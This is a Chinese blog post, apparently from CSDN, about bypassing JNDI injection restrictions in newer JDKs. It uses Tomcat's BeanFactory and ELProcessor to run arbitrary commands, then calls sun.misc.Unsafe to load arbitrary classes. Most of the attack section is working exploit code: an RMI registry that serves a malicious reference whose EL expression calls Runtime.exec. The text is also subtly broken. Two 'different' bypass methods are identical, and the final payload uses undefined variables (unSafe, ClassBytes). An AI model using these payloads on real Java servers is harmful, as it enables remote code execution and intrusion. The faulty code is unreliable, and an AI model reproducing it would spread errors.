高版本JDK下绕过受限JNDI注入进行任意类加载

JNDI注入

1.高版本限制

(1)从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。
(2)在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
(3)Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,同样禁止了ldap加载远程类。

2.高版本绕过

对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,已经无法直接使用rmi和ldap来加载远程的恶意类了,但是我们可以寻求别的方法进行绕过,绕过的方法如下:
(1)找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
(2)找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
这两种方法对被攻击者的本地环境要求较高,需要利用被攻击者的本地Gadget。
绕过方式参考:
https://paper.seebug.org/942/#classreference-factory

3.利用本地Class作为Reference Factory

如上述文章所说,虽然高版本JDK无法加载远程恶意类,但是我们可以在返回的Reference中指定被攻击者本地存在的Factory Class。 存在于Tomcat依赖包中的org.apache.naming.factory.BeanFactory 就能很好的被利用,javax.el.ELProcessor可以作为目标Class。Reference构造如下:

Registry registry = LocateRegistry.createRegistry(rmi_port);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", String.format(
               "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
                        "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
                        ")",
                cmd
        )));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);

"forceString"可以给属性强制指定一个setter方法,这里我们将属性"x"的setter方法设置为 ELProcessor.eval() 方法。ELProcessor.eval()会对EL表达式进行求值,最终达到命令执行的效果。

高版本JDK下使用Unsafe加载任意类

1.高版本限制

在JDK8中,攻击者常用当前线程的contextClassLoader去反射调用defineClass方法来进行恶意类的加载,但在JDK9之后,默认不允许访问封装的包和深度反射其他模块,这导致使用直接使用defineClass会抛出警告不让调用。

2.高版本绕过

sun.misc.Unsafe在调用时不受上述限制,unsafe类中的defineAnonymousClass方法可以加载一个内部匿名类,在defineAnonymousClass中再使用defineClass将不会被拦截,此时使用defineClass便可以加载任意类。
Unsafe使用方法参考:
https://blog.csdn.net/qq_40466372/article/details/125645985

高版本JDK下JNDI与Unsafe配合使用

如上文所述,我们可以利用JNDI指定BeanFactory ,使用javax.el.ELProcessor类的eval方法执行任意命令,此时我们将执行的命令换成调用sun.misc.Unsafe的defineAnonymousClass方法,即可实现高版本JDK下的远程加载任意类。
最终利用方式:

Registry registry = LocateRegistry.createRegistry(rmi_port);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", 
                "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
                        "\"Class<?> safeClass=java.lang.Class.forName('sun.misc.Unsafe');"+
                        "Field safeCon=safeClass.getDeclaredField('theUnsafe');"+
                        "safeCon.setAccessible(true);"+
                        "Class mem=unSafe.defineAnonymousClass(java.io.File.class,ClassBytes,null);"+
                        "mem.newInstance();\"" +
                        ")"));

Reference

https://paper.seebug.org/942/#classreference-factory
https://cn-sec.com/archives/797437.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值